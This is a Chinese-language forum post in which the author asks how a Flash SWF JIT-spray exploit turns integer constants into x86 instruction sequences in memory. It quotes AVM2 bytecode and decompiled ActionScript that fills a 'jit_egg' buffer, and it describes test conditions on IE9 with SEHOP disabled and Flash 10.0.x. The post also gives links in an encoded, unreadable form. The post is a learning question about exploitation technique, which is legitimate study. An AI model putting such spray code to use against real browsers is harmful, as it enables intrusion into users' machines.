比如一个swf文件，它的中间代码大概是这样：
_as3_pushint 156456771
_as3_callpropvoid writeInt(param count:1)
_as3_getlocal <0>
_as3_getproperty jit_egg
_as3_pushint 1359
_as3_callpropvoid writeInt(param count:1)
_as3_getlocal <0>
_as3_getproperty jit_egg
_as3_pushdouble 2462964344
_as3_callpropvoid writeInt(param count:1)
_as3_getlocal <0>
_as3_getproperty jit_egg
_as3_pushint 1163161579

反汇编源代码是这样：
function pageLoadEx()
{
var _loc_1:* = new Loader();
this.jit_egg.endian = Endian.LITTLE_ENDIAN;
this.jit_egg.writeInt(156456771);
this.jit_egg.writeInt(1359);
this.jit_egg.writeInt(2462964344);
this.jit_egg.writeInt(1163161579);

但在内存中就变成了 0x3c909090 之类的，也就是write jit spray for fun 那篇文章中提到的类似xor指令序列了

这些整数我都看过，转成16进制直接看，貌似跟0x3c909090没半点关系，但在内存中就变成了90 90 90 3c 35之类的攻击指令了   

代码链接见：6baK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5M7r3I4G2K9i4c8Q4x3X3c8V1j5W2)9J5k6h3y4G2L8g2)9J5c8X3g2^5M7r3I4G2K9i4c8K6i4K6u0r3x3e0b7#2z5e0W2Q4x3V1j5`.

这是一个插件漏洞，漏洞没什么用，不值得去分析，找出来是想讨论下jit spray。那个swf文件是怎么喷射的，怎么就在内存中形成了90 90 90 3c 35之类的指令了？？

我在windows7的ie9下测试，ok~~ 前提是把ie9的sehop保护先去掉（这跟这个漏洞的原理有关了）~~ flash player必须是10.0.X的，这个你懂的。 执行完后，若成功，转到77aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5M7r3I4G2K9i4c8Q4x3X3c8V1j5W2)9J5k6h3y4G2L8g2!0q4z5q4!0n7c8W2)9&6z5g2!0q4y4q4!0n7z5q4!0m8b7g2!0q4y4#2!0n7c8q4)9&6x3g2!0q4y4#2!0m8b7W2)9&6z5g2!0q4c8W2!0n7b7#2)9^5b7#2!0q4z5g2)9^5y4#2)9^5b7#2!0q4z5g2)9&6c8q4!0m8x3W2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4q4!0n7b7W2!0m8x3#2!0q4y4#2!0m8x3q4)9^5x3g2!0q4y4W2)9^5z5q4)9&6x3g2!0q4y4W2!0n7x3W2!0m8x3g2!0q4y4q4!0n7b7W2)9&6y4q4!0q4y4#2!0n7b7W2)9^5y4W2!0q4y4g2)9^5z5q4)9^5y4W2!0q4y4W2)9&6c8g2)9&6x3q4!0q4z5q4!0n7c8W2)9^5y4#2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4W2)9^5z5g2)9^5x3q4!0q4y4q4!0n7b7W2!0m8y4g2!0q4y4W2)9&6b7#2)9^5z5g2!0q4y4W2!0n7x3W2!0m8x3g2!0q4y4W2)9&6b7#2)9^5z5g2!0q4y4W2)9&6b7#2!0m8z5q4!0q4z5g2!0m8z5g2!0m8b7#2!0q4y4q4!0n7z5g2)9^5b7W2!0q4y4#2!0n7x3g2!0n7b7W2!0q4y4#2)9&6b7g2)9^5y4q4!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4W2)9^5z5q4)9&6x3g2!0q4y4W2)9&6y4#2!0m8x3q4!0q4y4W2!0n7x3#2)9&6y4g2!0q4y4q4!0n7c8W2)9&6c8q4!0q4z5q4!0m8c8W2)9^5x3g2!0q4x3#2)9^5x3q4)9^5x3W2!0q4x3#2)9^5x3q4)9^5x3W2!0q4x3#2)9^5x3q4)9^5x3W2!0q4x3#2)9^5x3q4)9^5x3W2!0q4x3#2)9^5x3q4)9^5x3W2!0q4x3#2)9^5x3q4)9^5x3W2!0q4x3#2)9^5x3q4)9^5x3W2!0q4y4q4!0n7c8q4)9^5y4W2!0q4y4W2!0m8c8W2)9&6y4g2!0q4y4#2!0m8b7W2)9&6c8W2!0q4y4W2)9&6z5q4!0m8c8X3g2^5M7r3I4G2K9i4c8Q4x3X3c8V1j5W2!0q4y4#2)9&6b7g2)9^5y4q4!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4g2!0n7b7g2)9&6y4q4!0q4z5q4!0m8c8W2!0m8y4g2!0q4y4W2!0n7x3W2!0m8x3g2!0q4y4q4!0n7b7W2)9^5x3q4!0q4y4q4!0n7z5g2)9^5z5q4!0q4y4W2)9^5x3g2!0n7y4W2!0q4y4W2)9^5y4q4)9^5c8W2)9%4c8g2)9%4c8b7`.`.
